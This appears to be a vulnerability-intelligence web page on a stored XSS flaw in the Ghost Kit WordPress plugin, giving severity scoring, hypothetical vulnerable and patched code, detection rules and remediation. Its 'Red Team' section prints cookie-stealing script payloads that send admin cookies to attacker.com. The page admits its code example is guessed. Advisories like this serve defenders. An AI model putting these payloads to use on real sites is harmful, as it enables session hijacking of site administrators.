☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Contributor logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-57651

CVE-2026-57651 Cross-Site Scripting in Contributor
📅 PUBLISHED: 2026-06-26 15:16 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-57651 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Ghost Kit WordPress plugin, versions 3.6.0 and below. This vulnerability allows an unauthenticated attacker to inject arbitrary web scripts or HTML into the application, which are then executed in the context of an administrator's browser when they view the affected page. The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement, but requires user interaction (an admin viewing the malicious content). As of this report, no official patch has been released, and no public exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. Ghost Kit is a popular WordPress plugin for building custom blocks and layouts. The risk is amplified because WordPress plugins are often installed and updated manually or via the WordPress dashboard, and many site administrators may not be aware of the vulnerability. The lack of a patch means that all sites using Ghost Kit <= 3.6.0 are currently at risk. Attackers could target the plugin's supply chain by compromising the plugin repository or by injecting malicious code into the plugin's update mechanism.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): None (N) - No authentication is needed to inject the payload.
  • User Interaction (UI): Required (R) - The victim (admin) must view the compromised page.
  • Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) - Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) - Limited ability to modify content.
  • Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The primary threat is to the integrity and confidentiality of the WordPress admin session.

Deep Dive & Mechanics

The vulnerability resides in the Ghost Kit plugin's handling of user-supplied input within its custom blocks. The plugin likely fails to properly sanitize or escape data before storing it in the WordPress database or rendering it on the page. An attacker can inject malicious JavaScript code into a field (e.g., a block attribute, a custom CSS class, or a text field) that is later displayed to an administrator.

Attack Flow:

  1. An attacker identifies a WordPress site running Ghost Kit <= 3.6.0.
  2. The attacker submits a form or uses a REST API endpoint to inject a payload like <script>alert('XSS')</script> into a vulnerable field.
  3. The payload is stored in the WordPress database.
  4. When a site administrator views the page containing the injected content (e.g., in the admin dashboard or on the front-end), the script executes.
  5. The script can steal session cookies, redirect the admin to a malicious site, or perform actions on behalf of the admin.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. The vulnerable code likely uses echo or print without proper escaping.

Vulnerable Code (PHP):

// In a Ghost Kit block render function
echo '<div class="' . $attributes['customClass'] . '">' . $content . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="' . esc_attr($attributes['customClass']) . '">' . esc_html($content) . '</div>';

The patched version uses esc_attr() and esc_html() to neutralize any HTML or JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Ghost Kit <= 3.6.0 installed and activated.
  • A publicly accessible endpoint (e.g., a form or REST API) that accepts user input.

Exploitation Steps:

  1. Identify the vulnerable endpoint: Look for any input field in the Ghost Kit blocks that is not properly sanitized. Common targets include custom CSS classes, block titles, or text fields.
  2. Craft the payload: Use a standard XSS payload. For example:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Inject the payload: Submit the payload via the vulnerable form or API.
  4. Trigger the XSS: Wait for an administrator to view the page containing the payload. Alternatively, use social engineering to lure the admin.

Example Payload (for demonstration):

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual input patterns in Ghost Kit fields (e.g., <script>, onerror, javascript:).
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Enable WordPress security plugins that scan for malicious content.

Prevention:

  • Immediate: Disable or remove the Ghost Kit plugin until a patch is available.
  • Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Code Review: If you have access to the source code, ensure all output is properly escaped using esc_html(), esc_attr(), or wp_kses().

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to known malicious domains (e.g., attacker.com/steal.php).
    • Unusual Referer headers pointing to the vulnerable WordPress page.
  • File IOCs:
    • Modified WordPress database entries containing <script> tags or event handlers.
    • Suspicious entries in the wp_posts or wp_postmeta tables.
  • Log IOCs:
    • WordPress debug logs showing PHP warnings about unescaped output.
    • Web server access logs with requests containing XSS payloads (e.g., %3Cscript%3E).

Detection Engineering

YARA Rule

rule CVE_2026_57651_Ghost_Kit_XSS {
    meta:
        description = "Detects XSS payloads targeting Ghost Kit plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-57651"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Ghost Kit XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in HTTP requests targeting Ghost Kit plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-57651 Ghost Kit XSS Payload"; flow:to_server; content:"<script"; nocase; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Ghost Kit plugin on all affected WordPress sites until a patch is released.
  2. Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
  3. Review and sanitize any existing content that may have been injected via this vulnerability.

Long-term Actions:

  1. Monitor the plugin's official repository for a patched version (>= 3.6.1).
  2. Apply the principle of least privilege to WordPress user roles to limit the impact of XSS.
  3. Educate administrators about the risks of clicking on suspicious links or viewing untrusted content.

Patch Status: UNKNOWN / UNPATCHED. No official fix is available at this time.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-57651/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.